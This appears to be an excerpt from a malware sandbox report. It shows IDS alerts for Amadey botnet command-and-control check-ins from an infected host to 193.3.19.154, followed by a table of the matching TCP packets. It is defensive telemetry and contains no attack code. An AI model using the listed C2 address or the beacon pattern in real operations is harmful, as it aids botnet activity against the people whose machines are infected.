2024-11-23T20:53:55.042480+0100	2045751	ET MALWARE Win32/Amadey Bot Activity (POST) M2	1	192.168.2.5	49794	193.3.19.154	80	TCP
2024-11-23T20:53:59.298221+0100	2027700	ET MALWARE Amadey CnC Check-In	1	192.168.2.5	49804	193.3.19.154	80	TCP
2024-11-23T20:53:59.298221+0100	2045751	ET MALWARE Win32/Amadey Bot Activity (POST) M2	1	192.168.2.5	49804	193.3.19.154	80	TCP
2024-11-23T20:54:03.548223+0100	2027700	ET MALWARE Amadey CnC Check-In	1	192.168.2.5	49815	193.3.19.154	80	TCP
2024-11-23T20:54:03.548223+0100	2045751	ET MALWARE Win32/Amadey Bot Activity (POST) M2	1	192.168.2.5	49815	193.3.19.154	80	TCP
2024-11-23T20:54:07.798356+0100	2027700	ET MALWARE Amadey CnC Check-In	1	192.168.2.5	49826	193.3.19.154	80	TCP
2024-11-23T20:54:07.798356+0100	2045751	ET MALWARE Win32/Amadey Bot Activity (POST) M2	1	192.168.2.5	49826	193.3.19.154	80	TCP
2024-11-23T20:54:12.048318+0100	2027700	ET MALWARE Amadey CnC Check-In	1	192.168.2.5	49837	193.3.19.154	80	TCP
2024-11-23T20:54:12.048318+0100	2045751	ET MALWARE Win32/Amadey Bot Activity (POST) M2	1	192.168.2.5	49837	193.3.19.154	80	TCP
2024-11-23T20:54:16.282841+0100	2027700	ET MALWARE Amadey CnC Check-In	1	192.168.2.5	49848	193.3.19.154	80	TCP
2024-11-23T20:54:16.282841+0100	2045751	ET MALWARE Win32/Amadey Bot Activity (POST) M2	1	192.168.2.5	49848	193.3.19.154	80	TCP
2024-11-23T20:54:20.533150+0100	2027700	ET MALWARE Amadey CnC Check-In	1	192.168.2.5	49859	193.3.19.154	80	TCP
2024-11-23T20:54:20.533150+0100	2045751	ET MALWARE Win32/Amadey Bot Activity (POST) M2	1	192.168.2.5	49859	193.3.19.154	80	TCP
2024-11-23T20:54:24.851912+0100	2027700	ET MALWARE Amadey CnC Check-In	1	192.168.2.5	49867	193.3.19.154	80	TCP
2024-11-23T20:54:24.851912+0100	2045751	ET MALWARE Win32/Amadey Bot Activity (POST) M2	1	192.168.2.5	49867	193.3.19.154	80	TCP
2024-11-23T20:54:29.157698+0100	2027700	ET MALWARE Amadey CnC Check-In	1	192.168.2.5	49878	193.3.19.154	80	TCP
2024-11-23T20:54:29.157698+0100	2045751	ET MALWARE Win32/Amadey Bot Activity (POST) M2	1	192.168.2.5	49878	193.3.19.154	80	TCP
2024-11-23T20:54:33.560630+0100	2027700	ET MALWARE Amadey CnC Check-In	1	192.168.2.5	49887	193.3.19.154	80	TCP
2024-11-23T20:54:33.560630+0100	2045751	ET MALWARE Win32/Amadey Bot Activity (POST) M2	1	192.168.2.5	49887	193.3.19.154	80	TCP
2024-11-23T20:54:37.814020+0100	2027700	ET MALWARE Amadey CnC Check-In	1	192.168.2.5	49898	193.3.19.154	80	TCP
2024-11-23T20:54:37.814020+0100	2045751	ET MALWARE Win32/Amadey Bot Activity (POST) M2	1	192.168.2.5	49898	193.3.19.154	80	TCP
2024-11-23T20:54:42.064285+0100	2027700	ET MALWARE Amadey CnC Check-In	1	192.168.2.5	49909	193.3.19.154	80	TCP
2024-11-23T20:54:42.064285+0100	2045751	ET MALWARE Win32/Amadey Bot Activity (POST) M2	1	192.168.2.5	49909	193.3.19.154	80	TCP
2024-11-23T20:54:46.314044+0100	2027700	ET MALWARE Amadey CnC Check-In	1	192.168.2.5	49920	193.3.19.154	80	TCP
2024-11-23T20:54:46.314044+0100	2045751	ET MALWARE Win32/Amadey Bot Activity (POST) M2	1	192.168.2.5	49920	193.3.19.154	80	TCP
2024-11-23T20:54:50.563900+0100	2027700	ET MALWARE Amadey CnC Check-In	1	192.168.2.5	49930	193.3.19.154	80	TCP
2024-11-23T20:54:50.563900+0100	2045751	ET MALWARE Win32/Amadey Bot Activity (POST) M2	1	192.168.2.5	49930	193.3.19.154	80	TCP
2024-11-23T20:54:54.816557+0100	2027700	ET MALWARE Amadey CnC Check-In	1	192.168.2.5	49940	193.3.19.154	80	TCP
2024-11-23T20:54:54.816557+0100	2045751	ET MALWARE Win32/Amadey Bot Activity (POST) M2	1	192.168.2.5	49940	193.3.19.154	80	TCP
2024-11-23T20:54:57.550787+0100	2027700	ET MALWARE Amadey CnC Check-In	1	192.168.2.5	49950	193.3.19.154	80	TCP
2024-11-23T20:54:57.550787+0100	2045751	ET MALWARE Win32/Amadey Bot Activity (POST) M2	1	192.168.2.5	49950	193.3.19.154	80	TCP
2024-11-23T20:55:01.782905+0100	2027700	ET MALWARE Amadey CnC Check-In	1	192.168.2.5	49958	193.3.19.154	80	TCP
2024-11-23T20:55:01.782905+0100	2045751	ET MALWARE Win32/Amadey Bot Activity (POST) M2	1	192.168.2.5	49958	193.3.19.154	80	TCP
2024-11-23T20:55:06.032766+0100	2027700	ET MALWARE Amadey CnC Check-In	1	192.168.2.5	49967	193.3.19.154	80	TCP
2024-11-23T20:55:06.032766+0100	2045751	ET MALWARE Win32/Amadey Bot Activity (POST) M2	1	192.168.2.5	49967	193.3.19.154	80	TCP
2024-11-23T20:55:10.291064+0100	2027700	ET MALWARE Amadey CnC Check-In	1	192.168.2.5	49976	193.3.19.154	80	TCP
2024-11-23T20:55:10.291064+0100	2045751	ET MALWARE Win32/Amadey Bot Activity (POST) M2	1	192.168.2.5	49976	193.3.19.154	80	TCP
2024-11-23T20:55:14.517087+0100	2027700	ET MALWARE Amadey CnC Check-In	1	192.168.2.5	49987	193.3.19.154	80	TCP
2024-11-23T20:55:14.517087+0100	2045751	ET MALWARE Win32/Amadey Bot Activity (POST) M2	1	192.168.2.5	49987	193.3.19.154	80	TCP
2024-11-23T20:55:18.770958+0100	2027700	ET MALWARE Amadey CnC Check-In	1	192.168.2.5	49998	193.3.19.154	80	TCP
2024-11-23T20:55:18.770958+0100	2045751	ET MALWARE Win32/Amadey Bot Activity (POST) M2	1	192.168.2.5	49998	193.3.19.154	80	TCP
2024-11-23T20:55:23.026943+0100	2027700	ET MALWARE Amadey CnC Check-In	1	192.168.2.5	50009	193.3.19.154	80	TCP
2024-11-23T20:55:23.026943+0100	2045751	ET MALWARE Win32/Amadey Bot Activity (POST) M2	1	192.168.2.5	50009	193.3.19.154	80	TCP
2024-11-23T20:55:27.284604+0100	2027700	ET MALWARE Amadey CnC Check-In	1	192.168.2.5	50016	193.3.19.154	80	TCP
2024-11-23T20:55:27.284604+0100	2045751	ET MALWARE Win32/Amadey Bot Activity (POST) M2	1	192.168.2.5	50016	193.3.19.154	80	TCP
2024-11-23T20:55:31.534796+0100	2027700	ET MALWARE Amadey CnC Check-In	1	192.168.2.5	50017	193.3.19.154	80	TCP
2024-11-23T20:55:31.534796+0100	2045751	ET MALWARE Win32/Amadey Bot Activity (POST) M2	1	192.168.2.5	50017	193.3.19.154	80	TCP
2024-11-23T20:55:35.782914+0100	2027700	ET MALWARE Amadey CnC Check-In	1	192.168.2.5	50018	193.3.19.154	80	TCP
2024-11-23T20:55:35.782914+0100	2045751	ET MALWARE Win32/Amadey Bot Activity (POST) M2	1	192.168.2.5	50018	193.3.19.154	80	TCP
2024-11-23T20:55:40.001425+0100	2027700	ET MALWARE Amadey CnC Check-In	1	192.168.2.5	50019	193.3.19.154	80	TCP
2024-11-23T20:55:40.001425+0100	2045751	ET MALWARE Win32/Amadey Bot Activity (POST) M2	1	192.168.2.5	50019	193.3.19.154	80	TCP
2024-11-23T20:55:44.236221+0100	2027700	ET MALWARE Amadey CnC Check-In	1	192.168.2.5	50020	193.3.19.154	80	TCP
2024-11-23T20:55:44.236221+0100	2045751	ET MALWARE Win32/Amadey Bot Activity (POST) M2	1	192.168.2.5	50020	193.3.19.154	80	TCP
2024-11-23T20:55:48.526834+0100	2027700	ET MALWARE Amadey CnC Check-In	1	192.168.2.5	50021	193.3.19.154	80	TCP
2024-11-23T20:55:48.526834+0100	2045751	ET MALWARE Win32/Amadey Bot Activity (POST) M2	1	192.168.2.5	50021	193.3.19.154	80	TCP
2024-11-23T20:55:52.784639+0100	2027700	ET MALWARE Amadey CnC Check-In	1	192.168.2.5	50022	193.3.19.154	80	TCP
2024-11-23T20:55:52.784639+0100	2045751	ET MALWARE Win32/Amadey Bot Activity (POST) M2	1	192.168.2.5	50022	193.3.19.154	80	TCP
2024-11-23T20:55:57.136097+0100	2027700	ET MALWARE Amadey CnC Check-In	1	192.168.2.5	50023	193.3.19.154	80	TCP
2024-11-23T20:55:57.136097+0100	2045751	ET MALWARE Win32/Amadey Bot Activity (POST) M2	1	192.168.2.5	50023	193.3.19.154	80	TCP
2024-11-23T20:56:01.438981+0100	2027700	ET MALWARE Amadey CnC Check-In	1	192.168.2.5	50024	193.3.19.154	80	TCP
2024-11-23T20:56:01.438981+0100	2045751	ET MALWARE Win32/Amadey Bot Activity (POST) M2	1	192.168.2.5	50024	193.3.19.154	80	TCP
2024-11-23T20:56:05.680904+0100	2027700	ET MALWARE Amadey CnC Check-In	1	192.168.2.5	50025	193.3.19.154	80	TCP
2024-11-23T20:56:05.680904+0100	2045751	ET MALWARE Win32/Amadey Bot Activity (POST) M2	1	192.168.2.5	50025	193.3.19.154	80	TCP
2024-11-23T20:56:09.923228+0100	2027700	ET MALWARE Amadey CnC Check-In	1	192.168.2.5	50026	193.3.19.154	80	TCP
2024-11-23T20:56:09.923228+0100	2045751	ET MALWARE Win32/Amadey Bot Activity (POST) M2	1	192.168.2.5	50026	193.3.19.154	80	TCP
2024-11-23T20:56:14.164217+0100	2027700	ET MALWARE Amadey CnC Check-In	1	192.168.2.5	50027	193.3.19.154	80	TCP
2024-11-23T20:56:14.164217+0100	2045751	ET MALWARE Win32/Amadey Bot Activity (POST) M2	1	192.168.2.5	50027	193.3.19.154	80	TCP
2024-11-23T20:56:18.455177+0100	2027700	ET MALWARE Amadey CnC Check-In	1	192.168.2.5	50028	193.3.19.154	80	TCP
2024-11-23T20:56:18.455177+0100	2045751	ET MALWARE Win32/Amadey Bot Activity (POST) M2	1	192.168.2.5	50028	193.3.19.154	80	TCP
2024-11-23T20:56:22.706673+0100	2027700	ET MALWARE Amadey CnC Check-In	1	192.168.2.5	50029	193.3.19.154	80	TCP
2024-11-23T20:56:22.706673+0100	2045751	ET MALWARE Win32/Amadey Bot Activity (POST) M2	1	192.168.2.5	50029	193.3.19.154	80	TCP
2024-11-23T20:56:26.956810+0100	2027700	ET MALWARE Amadey CnC Check-In	1	192.168.2.5	50030	193.3.19.154	80	TCP
2024-11-23T20:56:26.956810+0100	2045751	ET MALWARE Win32/Amadey Bot Activity (POST) M2	1	192.168.2.5	50030	193.3.19.154	80	TCP
2024-11-23T20:56:31.204734+0100	2027700	ET MALWARE Amadey CnC Check-In	1	192.168.2.5	50031	193.3.19.154	80	TCP
2024-11-23T20:56:31.204734+0100	2045751	ET MALWARE Win32/Amadey Bot Activity (POST) M2	1	192.168.2.5	50031	193.3.19.154	80	TCP
2024-11-23T20:56:35.454542+0100	2027700	ET MALWARE Amadey CnC Check-In	1	192.168.2.5	50032	193.3.19.154	80	TCP
2024-11-23T20:56:35.454542+0100	2045751	ET MALWARE Win32/Amadey Bot Activity (POST) M2	1	192.168.2.5	50032	193.3.19.154	80	TCP
2024-11-23T20:56:39.694587+0100	2027700	ET MALWARE Amadey CnC Check-In	1	192.168.2.5	50033	193.3.19.154	80	TCP
2024-11-23T20:56:39.694587+0100	2045751	ET MALWARE Win32/Amadey Bot Activity (POST) M2	1	192.168.2.5	50033	193.3.19.154	80	TCP
2024-11-23T20:56:43.907721+0100	2027700	ET MALWARE Amadey CnC Check-In	1	192.168.2.5	50034	193.3.19.154	80	TCP
2024-11-23T20:56:43.907721+0100	2045751	ET MALWARE Win32/Amadey Bot Activity (POST) M2	1	192.168.2.5	50034	193.3.19.154	80	TCP
2024-11-23T20:56:48.157989+0100	2027700	ET MALWARE Amadey CnC Check-In	1	192.168.2.5	50035	193.3.19.154	80	TCP
2024-11-23T20:56:48.157989+0100	2045751	ET MALWARE Win32/Amadey Bot Activity (POST) M2	1	192.168.2.5	50035	193.3.19.154	80	TCP

Network Port Distribution

TCP Packets

Timestamp	Source Port	Dest Port	Source IP	Dest IP
Nov 23, 2024 20:53:00.002206087 CET	49704	80	192.168.2.5	193.3.19.154
Nov 23, 2024 20:53:00.010263920 CET	49705	80	192.168.2.5	193.3.19.154
Nov 23, 2024 20:53:00.124864101 CET	80	49704	193.3.19.154	192.168.2.5
Nov 23, 2024 20:53:00.126138926 CET	49704	80	192.168.2.5	193.3.19.154
Nov 23, 2024 20:53:00.133295059 CET	80	49705	193.3.19.154	192.168.2.5
Nov 23, 2024 20:53:00.133389950 CET	49705	80	192.168.2.5	193.3.19.154
Nov 23, 2024 20:53:00.134437084 CET	49705	80	192.168.2.5	193.3.19.154
Nov 23, 2024 20:53:00.156812906 CET	49704	80	192.168.2.5	193.3.19.154
Nov 23, 2024 20:53:00.260898113 CET	80	49705	193.3.19.154	192.168.2.5
Nov 23, 2024 20:53:00.283392906 CET	80	49704	193.3.19.154	192.168.2.5
Nov 23, 2024 20:53:04.143083096 CET	49705	80	192.168.2.5	193.3.19.154
Nov 23, 2024 20:53:04.143141031 CET	49704	80	192.168.2.5	193.3.19.154
Nov 23, 2024 20:53:04.252187967 CET	49706	80	192.168.2.5	193.3.19.154
Nov 23, 2024 20:53:04.371838093 CET	80	49706	193.3.19.154	192.168.2.5
Nov 23, 2024 20:53:04.372108936 CET	49706	80	192.168.2.5	193.3.19.154
Nov 23, 2024 20:53:04.372400045 CET	49706	80	192.168.2.5	193.3.19.154
Nov 23, 2024 20:53:04.491997957 CET	80	49706	193.3.19.154	192.168.2.5
Nov 23, 2024 20:53:08.382363081 CET	49706	80	192.168.2.5	193.3.19.154
Nov 23, 2024 20:53:08.489516973 CET	49707	80	192.168.2.5	193.3.19.154
Nov 23, 2024 20:53:08.612205982 CET	80	49707	193.3.19.154	192.168.2.5
Nov 23, 2024 20:53:08.612313986 CET	49707	80	192.168.2.5	193.3.19.154
Nov 23, 2024 20:53:08.615879059 CET	49707	80	192.168.2.5	193.3.19.154
Nov 23, 2024 20:53:08.739934921 CET	80	49707	193.3.19.154	192.168.2.5
Nov 23, 2024 20:53:09.158493996 CET	49708	80	192.168.2.5	193.3.19.154
Nov 23, 2024 20:53:09.280980110 CET	80	49708	193.3.19.154	192.168.2.5
Nov 23, 2024 20:53:09.281224012 CET	49708	80	192.168.2.5	193.3.19.154
Nov 23, 2024 20:53:09.281379938 CET	49708	80	192.168.2.5	193.3.19.154
Nov 23, 2024 20:53:09.401662111 CET	80	49708	193.3.19.154	192.168.2.5
Nov 23, 2024 20:53:12.626276016 CET	49708	80	192.168.2.5	193.3.19.154
Nov 23, 2024 20:53:12.626322985 CET	49707	80	192.168.2.5	193.3.19.154
Nov 23, 2024 20:53:12.738591909 CET	49709	80	192.168.2.5	193.3.19.154
Nov 23, 2024 20:53:12.858773947 CET	80	49709	193.3.19.154	192.168.2.5
Nov 23, 2024 20:53:12.858923912 CET	49709	80	192.168.2.5	193.3.19.154
Nov 23, 2024 20:53:12.859211922 CET	49709	80	192.168.2.5	193.3.19.154
Nov 23, 2024 20:53:12.978961945 CET	80	49709	193.3.19.154	192.168.2.5
Nov 23, 2024 20:53:16.860878944 CET	49709	80	192.168.2.5	193.3.19.154
Nov 23, 2024 20:53:16.972708941 CET	49712	80	192.168.2.5	193.3.19.154
Nov 23, 2024 20:53:17.093209982 CET	80	49712	193.3.19.154	192.168.2.5
Nov 23, 2024 20:53:17.093353987 CET	49712	80	192.168.2.5	193.3.19.154
Nov 23, 2024 20:53:17.093691111 CET	49712	80	192.168.2.5	193.3.19.154
Nov 23, 2024 20:53:17.213599920 CET	80	49712	193.3.19.154	192.168.2.5
Nov 23, 2024 20:53:17.642725945 CET	49714	80	192.168.2.5	193.3.19.154
Nov 23, 2024 20:53:17.762764931 CET	80	49714	193.3.19.154	192.168.2.5
Nov 23, 2024 20:53:17.762995958 CET	49714	80	192.168.2.5	193.3.19.154
Nov 23, 2024 20:53:17.763102055 CET	49714	80	192.168.2.5	193.3.19.154
Nov 23, 2024 20:53:17.883232117 CET	80	49714	193.3.19.154	192.168.2.5
Nov 23, 2024 20:53:21.095122099 CET	49714	80	192.168.2.5	193.3.19.154
Nov 23, 2024 20:53:21.095201015 CET	49712	80	192.168.2.5	193.3.19.154
Nov 23, 2024 20:53:21.205379963 CET	49722	80	192.168.2.5	193.3.19.154
Nov 23, 2024 20:53:21.325506926 CET	80	49722	193.3.19.154	192.168.2.5
Nov 23, 2024 20:53:21.325592041 CET	49722	80	192.168.2.5	193.3.19.154
Nov 23, 2024 20:53:21.325753927 CET	49722	80	192.168.2.5	193.3.19.154
Nov 23, 2024 20:53:21.446183920 CET	80	49722	193.3.19.154	192.168.2.5
Nov 23, 2024 20:53:25.313904047 CET	49722	80	192.168.2.5	193.3.19.154
Nov 23, 2024 20:53:25.426434994 CET	49733	80	192.168.2.5	193.3.19.154
Nov 23, 2024 20:53:25.581192970 CET	80	49733	193.3.19.154	192.168.2.5
Nov 23, 2024 20:53:25.581295967 CET	49733	80	192.168.2.5	193.3.19.154
Nov 23, 2024 20:53:25.581552029 CET	49733	80	192.168.2.5	193.3.19.154
Nov 23, 2024 20:53:25.701292992 CET	80	49733	193.3.19.154	192.168.2.5
Nov 23, 2024 20:53:26.112663984 CET	49735	80	192.168.2.5	193.3.19.154
Nov 23, 2024 20:53:26.236144066 CET	80	49735	193.3.19.154	192.168.2.5
Nov 23, 2024 20:53:26.236242056 CET	49735	80	192.168.2.5	193.3.19.154
Nov 23, 2024 20:53:26.236412048 CET	49735	80	192.168.2.5	193.3.19.154
Nov 23, 2024 20:53:26.362917900 CET	80	49735	193.3.19.154	192.168.2.5
Nov 23, 2024 20:53:29.579644918 CET	49735	80	192.168.2.5	193.3.19.154
Nov 23, 2024 20:53:29.579693079 CET	49733	80	192.168.2.5	193.3.19.154
Nov 23, 2024 20:53:29.689541101 CET	49741	80	192.168.2.5	193.3.19.154
Nov 23, 2024 20:53:29.815486908 CET	80	49741	193.3.19.154	192.168.2.5
Nov 23, 2024 20:53:29.815574884 CET	49741	80	192.168.2.5	193.3.19.154
Nov 23, 2024 20:53:29.815764904 CET	49741	80	192.168.2.5	193.3.19.154
Nov 23, 2024 20:53:29.935518026 CET	80	49741	193.3.19.154	192.168.2.5
Nov 23, 2024 20:53:33.829479933 CET	49741	80	192.168.2.5	193.3.19.154
Nov 23, 2024 20:53:33.941314936 CET	49752	80	192.168.2.5	193.3.19.154
Nov 23, 2024 20:53:34.065119982 CET	80	49752	193.3.19.154	192.168.2.5
Nov 23, 2024 20:53:34.065262079 CET	49752	80	192.168.2.5	193.3.19.154
Nov 23, 2024 20:53:34.065401077 CET	49752	80	192.168.2.5	193.3.19.154
Nov 23, 2024 20:53:34.191620111 CET	80	49752	193.3.19.154	192.168.2.5
Nov 23, 2024 20:53:34.595963955 CET	49754	80	192.168.2.5	193.3.19.154
Nov 23, 2024 20:53:34.715733051 CET	80	49754	193.3.19.154	192.168.2.5
Nov 23, 2024 20:53:34.715802908 CET	49754	80	192.168.2.5	193.3.19.154
Nov 23, 2024 20:53:34.715946913 CET	49754	80	192.168.2.5	193.3.19.154
Nov 23, 2024 20:53:34.835439920 CET	80	49754	193.3.19.154	192.168.2.5
Nov 23, 2024 20:53:38.073084116 CET	49752	80	192.168.2.5	193.3.19.154
Nov 23, 2024 20:53:38.073132992 CET	49754	80	192.168.2.5	193.3.19.154
Nov 23, 2024 20:53:38.192760944 CET	49764	80	192.168.2.5	193.3.19.154
Nov 23, 2024 20:53:38.313626051 CET	80	49764	193.3.19.154	192.168.2.5
Nov 23, 2024 20:53:38.313788891 CET	49764	80	192.168.2.5	193.3.19.154
Nov 23, 2024 20:53:38.322386980 CET	49764	80	192.168.2.5	193.3.19.154
Nov 23, 2024 20:53:38.444483042 CET	80	49764	193.3.19.154	192.168.2.5
Nov 23, 2024 20:53:42.313889027 CET	49764	80	192.168.2.5	193.3.19.154
Nov 23, 2024 20:53:42.425879002 CET	49775	80	192.168.2.5	193.3.19.154
Nov 23, 2024 20:53:42.546495914 CET	80	49775	193.3.19.154	192.168.2.5
Nov 23, 2024 20:53:42.546619892 CET	49775	80	192.168.2.5	193.3.19.154
Nov 23, 2024 20:53:42.546869040 CET	49775	80	192.168.2.5	193.3.19.154
Nov 23, 2024 20:53:42.671483994 CET	80	49775	193.3.19.154	192.168.2.5
Nov 23, 2024 20:53:43.080255032 CET	49776	80	192.168.2.5	193.3.19.154
Nov 23, 2024 20:53:43.200009108 CET	80	49776	193.3.19.154	192.168.2.5
Nov 23, 2024 20:53:43.200149059 CET	49776	80	192.168.2.5	193.3.19.154
Nov 23, 2024 20:53:43.200330019 CET	49776	80	192.168.2.5	193.3.19.154
Nov 23, 2024 20:53:43.320007086 CET	80	49776	193.3.19.154	192.168.2.5
Nov 23, 2024 20:53:46.532660007 CET	49775	80	192.168.2.5	193.3.19.154
Nov 23, 2024 20:53:46.532797098 CET	49776	80	192.168.2.5	193.3.19.154
Nov 23, 2024 20:53:46.643244982 CET	49787	80	192.168.2.5	193.3.19.154
Nov 23, 2024 20:53:46.768717051 CET	80	49787	193.3.19.154	192.168.2.5
Nov 23, 2024 20:53:46.768811941 CET	49787	80	192.168.2.5	193.3.19.154
Nov 23, 2024 20:53:46.769010067 CET	49787	80	192.168.2.5	193.3.19.154
Nov 23, 2024 20:53:46.892851114 CET	80	49787	193.3.19.154	192.168.2.5
Nov 23, 2024 20:53:50.782733917 CET	49787	80	192.168.2.5	193.3.19.154
Nov 23, 2024 20:53:50.894567966 CET	49794	80	192.168.2.5	193.3.19.154
Nov 23, 2024 20:53:51.020188093 CET	80	49794	193.3.19.154	192.168.2.5
Nov 23, 2024 20:53:51.020323038 CET	49794	80	192.168.2.5	193.3.19.154
Nov 23, 2024 20:53:51.020618916 CET	49794	80	192.168.2.5	193.3.19.154
Nov 23, 2024 20:53:51.147005081 CET	80	49794	193.3.19.154	192.168.2.5
Nov 23, 2024 20:53:55.042479992 CET	49794	80	192.168.2.5	193.3.19.154
Nov 23, 2024 20:53:55.183239937 CET	49804	80	192.168.2.5	193.3.19.154
Nov 23, 2024 20:53:55.305100918 CET	80	49804	193.3.19.154	192.168.2.5
Nov 23, 2024 20:53:55.305166006 CET	49804	80	192.168.2.5	193.3.19.154
Nov 23, 2024 20:53:55.310513020 CET	49804	80	192.168.2.5	193.3.19.154
Nov 23, 2024 20:53:55.430382013 CET	80	49804	193.3.19.154	192.168.2.5
Nov 23, 2024 20:53:59.298221111 CET	49804	80	192.168.2.5	193.3.19.154
Nov 23, 2024 20:53:59.411309958 CET	49815	80	192.168.2.5	193.3.19.154
Nov 23, 2024 20:53:59.532593966 CET	80	49815	193.3.19.154	192.168.2.5
Nov 23, 2024 20:53:59.532694101 CET	49815	80	192.168.2.5	193.3.19.154
Nov 23, 2024 20:53:59.532934904 CET	49815	80	192.168.2.5	193.3.19.154
Nov 23, 2024 20:53:59.691047907 CET	80	49815	193.3.19.154	192.168.2.5
Nov 23, 2024 20:54:03.548223019 CET	49815	80	192.168.2.5	193.3.19.154
Nov 23, 2024 20:54:03.660164118 CET	49826	80	192.168.2.5	193.3.19.154
Nov 23, 2024 20:54:03.786046982 CET	80	49826	193.3.19.154	192.168.2.5
Nov 23, 2024 20:54:03.786185026 CET	49826	80	192.168.2.5	193.3.19.154
Nov 23, 2024 20:54:03.786379099 CET	49826	80	192.168.2.5	193.3.19.154
Nov 23, 2024 20:54:03.905863047 CET	80	49826	193.3.19.154	192.168.2.5
Nov 23, 2024 20:54:07.798356056 CET	49826	80	192.168.2.5	193.3.19.154
Nov 23, 2024 20:54:07.926301003 CET	49837	80	192.168.2.5	193.3.19.154
Nov 23, 2024 20:54:08.046344042 CET	80	49837	193.3.19.154	192.168.2.5
Nov 23, 2024 20:54:08.046516895 CET	49837	80	192.168.2.5	193.3.19.154
Nov 23, 2024 20:54:08.046710014 CET	49837	80	192.168.2.5	193.3.19.154
Nov 23, 2024 20:54:08.167445898 CET	80	49837	193.3.19.154	192.168.2.5
Nov 23, 2024 20:54:12.048317909 CET	49837	80	192.168.2.5	193.3.19.154
Nov 23, 2024 20:54:12.160501957 CET	49848	80	192.168.2.5	193.3.19.154
Nov 23, 2024 20:54:12.280471087 CET	80	49848	193.3.19.154	192.168.2.5
Nov 23, 2024 20:54:12.280692101 CET	49848	80	192.168.2.5	193.3.19.154
Nov 23, 2024 20:54:12.280874014 CET	49848	80	192.168.2.5	193.3.19.154
Nov 23, 2024 20:54:12.400686979 CET	80	49848	193.3.19.154	192.168.2.5
Nov 23, 2024 20:54:16.282840967 CET	49848	80	192.168.2.5	193.3.19.154
Nov 23, 2024 20:54:16.395031929 CET	49859	80	192.168.2.5	193.3.19.154
Nov 23, 2024 20:54:16.514506102 CET	80	49859	193.3.19.154	192.168.2.5
Nov 23, 2024 20:54:16.514682055 CET	49859	80	192.168.2.5	193.3.19.154
Nov 23, 2024 20:54:16.532166004 CET	49859	80	192.168.2.5	193.3.19.154
Nov 23, 2024 20:54:16.652009010 CET	80	49859	193.3.19.154	192.168.2.5
Nov 23, 2024 20:54:20.533149958 CET	49859	80	192.168.2.5	193.3.19.154
Nov 23, 2024 20:54:20.663415909 CET	49867	80	192.168.2.5	193.3.19.154
Nov 23, 2024 20:54:20.789742947 CET	80	49867	193.3.19.154	192.168.2.5
Nov 23, 2024 20:54:20.790651083 CET	49867	80	192.168.2.5	193.3.19.154
Nov 23, 2024 20:54:20.790802956 CET	49867	80	192.168.2.5	193.3.19.154
Nov 23, 2024 20:54:20.912870884 CET	80	49867	193.3.19.154	192.168.2.5
Nov 23, 2024 20:54:24.851912022 CET	49867	80	192.168.2.5	193.3.19.154
Nov 23, 2024 20:54:24.996495008 CET	49878	80	192.168.2.5	193.3.19.154
Nov 23, 2024 20:54:25.117372036 CET	80	49878	193.3.19.154	192.168.2.5
Nov 23, 2024 20:54:25.117521048 CET	49878	80	192.168.2.5	193.3.19.154
Nov 23, 2024 20:54:25.131287098 CET	49878	80	192.168.2.5	193.3.19.154
Nov 23, 2024 20:54:25.255280972 CET	80	49878	193.3.19.154	192.168.2.5
Nov 23, 2024 20:54:29.157697916 CET	49878	80	192.168.2.5	193.3.19.154
Nov 23, 2024 20:54:29.269805908 CET	49887	80	192.168.2.5	193.3.19.154
Nov 23, 2024 20:54:29.402349949 CET	80	49887	193.3.19.154	192.168.2.5
Nov 23, 2024 20:54:29.402704000 CET	49887	80	192.168.2.5	193.3.19.154
Nov 23, 2024 20:54:29.402793884 CET	49887	80	192.168.2.5	193.3.19.154
Nov 23, 2024 20:54:29.522439003 CET	80	49887	193.3.19.154	192.168.2.5
Nov 23, 2024 20:54:33.560630083 CET	49887	80	192.168.2.5	193.3.19.154
Nov 23, 2024 20:54:33.691617966 CET	49898	80	192.168.2.5	193.3.19.154
Nov 23, 2024 20:54:33.813066006 CET	80	49898	193.3.19.154	192.168.2.5
Nov 23, 2024 20:54:33.813146114 CET	49898	80	192.168.2.5	193.3.19.154
Nov 23, 2024 20:54:33.813493967 CET	49898	80	192.168.2.5	193.3.19.154
Nov 23, 2024 20:54:34.092799902 CET	80	49898	193.3.19.154	192.168.2.5
Nov 23, 2024 20:54:37.814019918 CET	49898	80	192.168.2.5	193.3.19.154
Nov 23, 2024 20:54:37.927474976 CET	49909	80	192.168.2.5	193.3.19.154
Nov 23, 2024 20:54:38.049320936 CET	80	49909	193.3.19.154	192.168.2.5
Nov 23, 2024 20:54:38.049408913 CET	49909	80	192.168.2.5	193.3.19.154
Nov 23, 2024 20:54:38.049715996 CET	49909	80	192.168.2.5	193.3.19.154
Nov 23, 2024 20:54:38.169197083 CET	80	49909	193.3.19.154	192.168.2.5
Nov 23, 2024 20:54:42.064285040 CET	49909	80	192.168.2.5	193.3.19.154
Nov 23, 2024 20:54:42.175811052 CET	49920	80	192.168.2.5	193.3.19.154
Nov 23, 2024 20:54:42.298598051 CET	80	49920	193.3.19.154	192.168.2.5
Nov 23, 2024 20:54:42.298685074 CET	49920	80	192.168.2.5	193.3.19.154
Nov 23, 2024 20:54:42.298825026 CET	49920	80	192.168.2.5	193.3.19.154
Nov 23, 2024 20:54:42.419357061 CET	80	49920	193.3.19.154	192.168.2.5
Nov 23, 2024 20:54:46.314043999 CET	49920	80	192.168.2.5	193.3.19.154
Nov 23, 2024 20:54:46.425678968 CET	49930	80	192.168.2.5	193.3.19.154
Nov 23, 2024 20:54:46.549834013 CET	80	49930	193.3.19.154	192.168.2.5
Nov 23, 2024 20:54:46.549961090 CET	49930	80	192.168.2.5	193.3.19.154
Nov 23, 2024 20:54:46.556485891 CET	49930	80	192.168.2.5	193.3.19.154
Nov 23, 2024 20:54:46.680821896 CET	80	49930	193.3.19.154	192.168.2.5
Nov 23, 2024 20:54:50.563899994 CET	49930	80	192.168.2.5	193.3.19.154
Nov 23, 2024 20:54:50.675829887 CET	49940	80	192.168.2.5	193.3.19.154
Nov 23, 2024 20:54:50.799247980 CET	80	49940	193.3.19.154	192.168.2.5
Nov 23, 2024 20:54:50.800801039 CET	49940	80	192.168.2.5	193.3.19.154
Nov 23, 2024 20:54:50.800801039 CET	49940	80	192.168.2.5	193.3.19.154
Nov 23, 2024 20:54:50.927278042 CET	80	49940	193.3.19.154	192.168.2.5
Nov 23, 2024 20:54:54.816556931 CET	49940	80	192.168.2.5	193.3.19.154
Nov 23, 2024 20:54:54.928177118 CET	49950	80	192.168.2.5	193.3.19.154
Nov 23, 2024 20:54:55.048604965 CET	80	49950	193.3.19.154	192.168.2.5
Nov 23, 2024 20:54:55.048691034 CET	49950	80	192.168.2.5	193.3.19.154
